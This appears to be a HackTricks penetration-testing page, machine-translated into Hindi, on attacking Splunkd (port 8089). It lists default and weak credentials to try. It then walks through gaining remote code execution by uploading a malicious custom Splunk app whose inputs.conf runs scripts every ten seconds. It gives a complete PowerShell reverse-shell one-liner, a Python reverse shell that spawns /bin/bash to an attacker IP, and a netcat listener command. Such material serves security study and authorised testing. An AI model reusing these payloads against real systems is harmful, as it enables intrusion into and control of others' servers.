8089 - Pentesting Splunkd

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

Splunk एक लॉग विश्लेषण उपकरण है जो डेटा को एकत्रित, विश्लेषित और दृश्यात्मक बनाने में महत्वपूर्ण भूमिका निभाता है। जबकि इसका प्रारंभिक उद्देश्य एक SIEM (सुरक्षा सूचना और घटना प्रबंधन) उपकरण के रूप में नहीं था, लेकिन यह सुरक्षा मॉनिटरिंग और व्यावसायिक विश्लेषण के क्षेत्र में लोकप्रिय हो गया है।

स्प्लंकड डिप्लॉयमेंट अक्सर संवेदनशील डेटा संग्रहित करने के लिए उपयोग किया जाता है और यदि हमें सिस्टम को कंप्रमाइज करने में सफल हो जाते हैं तो यह महत्वपूर्ण जानकारी का स्रोत बन सकता है। डिफ़ॉल्ट पोर्ट: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

स्प्लंक वेब सर्वर डिफ़ॉल्ट रूप से पोर्ट 8000 पर चलता है

गणना

मुफ्त संस्करण

स्प्लंक एंटरप्राइज परीक्षण 60 दिनों के बाद मुफ्त संस्करण में बदल जाता है, जिसमें प्रमाणीकरण की आवश्यकता नहीं होती। सिस्टम प्रशासकों के लिए सामान्य है कि वे स्प्लंक का परीक्षण करने के लिए परीक्षण स्थापित करें, जिसे बाद में भूल जाते हैं। यह स्वचालित रूप से मुफ्त संस्करण में बदल जाएगा जिसमें किसी भी प्रकार का प्रमाणीकरण नहीं होता, जो पर्यावरण में एक सुरक्षा गड्ढा उत्पन्न करता है। कुछ संगठन बजट सीमाओं के कारण मुफ्त संस्करण का चयन कर सकते हैं, जिससे उपयोगकर्ता/भूमिका प्रबंधन के असरों को पूरी तरह समझने में समस्या हो सकती है।

डिफ़ॉल्ट क्रेडेंशियल्स

पुराने संस्करणों पर स्प्लंक की डिफ़ॉल्ट क्रेडेंशियल्स होते हैं admin:changeme, जो लॉगिन पेज पर सुविधाजनक रूप से प्रदर्शित होते हैं। हालांकि, नवीनतम संस्करण के स्प्लंक स्थापना प्रक्रिया के दौरान क्रेडेंशियल्स सेट करता है। यदि डिफ़ॉल्ट क्रेडेंशियल्स काम नहीं करते हैं, तो admin, Welcome, Welcome1, Password123 आदि जैसे सामान्य कमजोर पासवर्ड के लिए जांच करना लायक है।

जानकारी प्राप्त करें

स्प्लंक में लॉगिन करने के बाद, हम डेटा ब्राउज़ कर सकते हैं, रिपोर्ट चला सकते हैं, डैशबोर्ड बना सकते हैं, स्प्लंकबेस पुस्तकालय से एप्लिकेशन स्थापित कर सकते हैं, और कस्टम एप्लिकेशन स्थापित कर सकते हैं। आप कोड भी चला सकते हैं: स्प्लंक के पास कई तरीके हैं कोड चलाने के, जैसे सर्वर-साइड ड्जांगो एप्लिकेशन, REST एंडपॉइंट, स्क्रिप्टेड इनपुट्स, और अलर्टिंग स्क्रिप्ट्स। स्प्लंक सर्वर पर दूरस्थ कोड निष्पादन प्राप्त करने का एक सामान्य तरीका एक स्क्रिप्टेड इनपुट का उपयोग करना है।

इसके अतिरिक्त, स्प्लंक को विंडोज या लिनक्स होस्ट पर स्थापित किया जा सकता है, स्क्रिप्टेड इनपुट्स बनाए जा सकते हैं जिससे बैश, पावरशेल, या बैच स्क्रिप्ट्स चलाए जा सकते हैं।

शोडन

  • Splunk निर्माण

RCE

कस्टम एप्लिकेशन बनाएं

एक कस्टम एप्लिकेशन पायथन, बैच, बैश, या पावरशेल स्क्रिप्ट्स चला सकता है। ध्यान दें कि स्प्लंक के साथ पायथन स्थापित है, इसलिए विंडोज सिस्टमों में भी आप पायथन कोड चला सकेंगे।

आप इस इस स्प्लंक पैकेज का उपयोग कर सकते हैं। इस रेपो में bin निर्देशिका में पायथन और पावरशेल के लिए उदाहरण हैं। चलिए इसे कदम-से-कदम देखते हैं।

इसे प्राप्त करने के लिए, हमें पहले निम्नलिखित निर्देशिका संरचना का उपयोग करके एक कस्टम स्प्लंक एप्लिकेशन बनाने की आवश्यकता है:

tree splunk_shell/

splunk_shell/
├── bin
└── default

bin निर्देशिका में कोई भी स्क्रिप्ट होगा जो हमें चलाने का इरादा है (इस मामले में, एक PowerShell रिवर्स शैल) और डिफ़ॉल्ट निर्देशिका में हमारा inputs.conf फ़ाइल होगा। हमारा रिवर्स शैल एक PowerShell वन-लाइनर होगा:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

फ़ाइल inputs.conf स्प्लंक को कौन सा स्क्रिप्ट चलाना है और किसी अन्य स्थिति को बताती है। यहाँ हम ऐप को सक्षम करते हैं और स्प्लंक को हर 10 सेकंड में स्क्रिप्ट चलाने के लिए कहते हैं। अंतराल हमेशा सेकंड में होता है, और इन सेटिंग्स के मौजूद होने पर ही इनपुट (स्क्रिप्ट) चलेगा।

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

हमें .bat फ़ाइल की आवश्यकता है, जो एप्लिकेशन डिप्लॉय होने पर चलेगी और PowerShell वन-लाइनर को निष्पादित करेगी।

अगला कदम है Install app from file चुनना और एप्लिकेशन अपलोड करना।

हानिकारक कस्टम एप्लिकेशन को अपलोड करने से पहले, हमें Netcat या socat का उपयोग करके एक सुनने वाला शुरू करना है।

sudo nc -lnvp 443

listening on [any] 443 ...

Hindi

On the ऐप अपलोड करें पृष्ठ पर, ब्राउज़ पर क्लिक करें, हमने पहले बनाया था उस टारबॉल चुनें और अपलोड पर क्लिक करें। जैसे ही हम ऐप्लिकेशन अपलोड करते हैं, ऐप्लिकेशन की स्थिति स्वचालित रूप से सक्षम पर स्विच कर दी जाएगी।

लिनक्स

अगर हम एक लिनक्स होस्ट के साथ काम कर रहे होते, तो हमें टारबॉल बनाने से पहले rev.py पायथन स्क्रिप्ट को संपादित करने की आवश्यकता होती। बाकी प्रक्रिया समान रहेगी, और हमें हमारे नेटकैट सुनने वाले पर एक रिवर्स शैल कनेक्शन मिलेगा और हम रेसिंग की ओर बढ़ेंगे।

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & विशेषाधिकार उन्नयन

निम्नलिखित पृष्ठ में आप एक व्याख्या पा सकते हैं कि यह सेवा विशेषाधिकारों को उन्नयन करने और स्थिरता प्राप्त करने के लिए कैसे दुरुपयोग किया जा सकता है:

pageSplunk LPE and Persistence

संदर्भ

शून्य से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated